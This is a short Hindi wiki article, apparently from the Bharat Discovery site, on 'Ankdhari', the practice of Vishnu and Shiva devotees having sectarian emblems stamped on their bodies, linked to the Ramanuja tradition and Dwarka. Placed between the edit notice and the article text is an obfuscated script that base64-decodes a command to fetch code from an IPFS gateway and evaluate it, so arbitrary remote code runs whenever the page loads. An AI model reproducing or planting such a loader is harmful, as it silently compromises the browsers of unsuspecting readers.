अंकधारी
भारत डिस्कवरी प्रस्तुति
प्रीति चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 12:15, 12 अप्रैल 2012 का अवतरण
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अंकधारी विष्णु के कुछ उपासक तप्तमुद्रा अर्थात् शंख, चक्र, गदा, पद्म के चिह्न शरीर पर छपवाते हैं।
- दक्षिण में शंकर के भी भक्त त्रिशूल या शिवलिंग के चिह्न छपवाते हैं।
- इस प्रथा का महत्व रामानुज संप्रदाय में अधिक है और द्वारका इसका केन्द्र माना गया है
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख